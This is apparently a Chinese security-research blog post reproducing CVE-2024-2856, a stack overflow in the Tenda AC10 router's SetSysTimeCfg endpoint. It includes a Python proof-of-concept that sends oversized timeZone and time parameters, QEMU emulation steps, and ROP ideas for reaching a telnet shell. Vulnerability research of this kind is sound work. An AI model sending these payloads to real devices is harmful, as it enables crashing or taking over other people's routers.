CVE-2024-2856 Tenda AC10栈溢出

IoT 2周前 admin
21 0 0

CVE-2024-2856 Tenda AC10栈溢出

漏洞详情

按照漏洞通报找到作者提交的漏洞详情,下载固件:链接

可知漏洞点在向/goform/SetSysTimeCfg发送POST数据时:

CVE-2024-2856 Tenda AC10栈溢出

如果参数timeType不存在(strcmp同样返回0),或者参数timeType=sync,同时timeZone中不存在冒号,则程序从参数timeZone提取的数据直接使用strcpy复制到了栈上:

CVE-2024-2856 Tenda AC10栈溢出

另外,如果参数中存在冒号,则会使用sscanf,同样也会造成栈溢出。

而在参数timeType=manual时,会进入另一个函数,这个函数中使用sscanf提取参数time,也存在栈溢出:

CVE-2024-2856 Tenda AC10栈溢出

所以这个请求的地址是存在三个栈溢出漏洞的,搜了一下在tenda家的其他路由器上被人提交过了。

三个poc分别如下:

import requests
import pwn
url = "http://192.168.88.131/goform/SetSysTimeCfg"
# poc1, 2
data = {
    # "timeType": "sync",
    # "timeZone": b"A" * 0x1000 + b":" + b"B" * 0x1000
    "timeZone"b"A" * 0x1000
}

# poc3
data = {
        "timeType"b"manual",
        "time"b"1-1-1 2:2:" + b"2" * 0x100
}

res = requests.post(url,data=data)
print(res.text)

模拟运行

搜了一下网上的Tenda AC10的模拟基本上都是针对arm的,虽然流程差不多,但是这个固件里是mips的,我们按照参考文章1里的方式,binwalk等老套路就不提了,搜索welove的交叉引用,然后找到死循环的sleep进行patch,参考文章patch的都是跳转这里的判断条件设置为1:

CVE-2024-2856 Tenda AC10栈溢出

尝试修改最后一次对$v0赋值的语句,然后运行了一下会直接段错误,所以我选择把条件跳转改成无条件跳转:

CVE-2024-2856 Tenda AC10栈溢出

不了解mips指令集的我,尝试直接keypatch里写b loc_43ad58并不行,只能问一嘴GPT:

CVE-2024-2856 Tenda AC10栈溢出

直接修改二进制(当然,是小端序):

CVE-2024-2856 Tenda AC10栈溢出

好!GPT牛逼

CVE-2024-2856 Tenda AC10栈溢出

然后补一下环境就可以跑了:

ln -s etc_ro etc
ln -s webroot_ro webroot
sudo apt install bridge-utils
sudo brctl addbr br0
sudo ifconfig br0 192.168.88.131/24
sudo chroot ./ ./qemu-mipsel-static -g 12345 ./bin/httpd

这里需要注意的是,sudo运行的qemu,非root启动的gdb可能会读不到某些内存,所以gdb也得root启动。

这时候连上去可能提示:

CVE-2024-2856 Tenda AC10栈溢出

这里执行set exception-verbose on后就可以正常用了,还有一些其他的崩溃的情况可能是pwndbg的bug,如果一直崩溃可以尝试换gef或者不带插件的纯GDB,或者更新一下GDB和插件版本,很玄学的问题,按我理解应该是远程调试交互协议上某些字段不太一致导致数据解析上有问题。

我们用target remote 127.0.0.1:12345连上去,打断点到返回地址(b *0x004a79e4):

CVE-2024-2856 Tenda AC10栈溢出

然后运行,启动poc,就可以看到崩溃现场:

CVE-2024-2856 Tenda AC10栈溢出

漏洞利用

因为目标使用的strcpysscanf等函数都存在00截断,程序又没有可以直接执行的段(NX Enabled),所以我们只能通过ROP的方式来利用,模拟的程序加载基地址是0x00400000

因为手头没有设备,调试是qemu模拟,不知道真实设备的libc的地址是否会变,如果不变的话可以填不存在00的libc的gadget,否则只能执行一条程序的gadget。

在参考文章2里看了下这种情况下的利用,一种是先在返回地址更高的地方存rop链,同时保持程序不崩溃,最后再修改返回地址跳上去;一种是找一些牛逼的gadget可以直接RCE的,所以我在漏洞附近查看了一下栈内前后数据,判断了一下第一种方案不太行。

而第二种方法看起来过于理想,似乎只有ctf可以预埋这种gadget(吗?),当然不是!猜测设备可能存在一些开启SSH或者Telnet功能的函数,尝试搜索后确实存在:

CVE-2024-2856 Tenda AC10栈溢出

所以我们可以尝试覆盖返回地址到这个函数(的某个位置)来启动telnet进而拿到shell,但是调试调到这里的时候会报bus error,可能是qemu模拟的问题,在真实设备不确定这个方法可以用。

那么在搜索相关漏洞的时候也搜到了GitHub公开的一个利用(参考文章3),里面硬编码了一个gadget:

CVE-2024-2856 Tenda AC10栈溢出

下载一个同款固件跟过去看看:

CVE-2024-2856 Tenda AC10栈溢出

CVE-2024-2856 Tenda AC10栈溢出

熟悉的开启telnet利用,因为手头没设备之前也没有研究过Tenda的利用,所以本文就到此为止了。

总结

这种上古(已经2024了!)路由器设备栈溢出的利用最好还是搞个真实设备,确定随机化等防护是否开启,用libc地址不含00来解决截断问题是比较好的利用方式,否则就只能祈祷我们的固件有一个理想的一键RCE的one gadget了。

参考文章

  1. 1. Tenda CVE-2018-18708 漏洞复现: https://blog.xmcve.com/2022/10/08/CVE-2018-18708-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

  2. 2. 栈溢出时发现了00截断,应该怎么办?: https://xuanxuanblingbling.github.io/ctf/pwn/2021/06/15/00/

  3. 3. Tenda-AX1806 exploit: https://github.com/expzhizhuo/cve_info_data/blob/5bacac292b3249cc27d42e82222a051f7649a502/IoT-CVE/Tenda/AX1806/1/README_zh.md?plain=1#L37

  4. 4. 漏洞详情链接: https://github.com/abcdefg-png/IoT-vulnerable/blob/main/Tenda/AC10/V16.03.10.13/fromSetSysTime.md

  5. 5. 固件下载地址: https://www.tenda.com.cn/download/detail-3506.html


原文始发于微信公众号(BeFun安全实验室):CVE-2024-2856 Tenda AC10栈溢出

版权声明:admin 发表于 2024年3月29日 下午5:36。
转载请注明:CVE-2024-2856 Tenda AC10栈溢出 | CTF导航

相关文章